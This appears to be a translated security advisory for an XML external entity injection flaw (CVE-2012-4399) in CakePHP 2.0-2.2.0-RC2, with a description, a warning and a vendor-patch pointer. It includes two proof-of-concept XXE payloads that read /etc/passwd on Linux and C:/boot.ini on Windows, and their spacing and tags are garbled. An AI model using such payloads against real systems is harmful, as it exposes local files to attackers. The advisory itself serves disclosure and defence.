CakePHP XML external entity Injection Vulnerability

Release date:
Updated on:

Affected Systems:
CakePHP 2.0-2.2.0-RC2
CakePHP
Description:
--------------------------------------------------------------------------------
Bugtraq id: 54474
Cve id: CVE-2012-4399

CakePHP is a free and open-source PHP rapid development framework.

CakePHP 2.0-2.2.0-RC2 has the XML external entity injection vulnerability. Attackers can exploit this vulnerability to obtain sensitive information about local files.

<* Source: Pawel h0wl Wylecial
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Linux:
<! DOCTYPE cakephp [
<! ENTITY payload SYSTEM "file: // etc/passwd">]>
<Request>
<Xxe> & payload; </xxe>
</Request>

Windows:
<! DOCTYPE cakephp [
<! ENTITY payload SYSTEM "file: // C:/boot. ini">]>
<Request>
<Xxe> & payload; </xxe>
</Request>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

CakePHP
-------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://cakephp.org/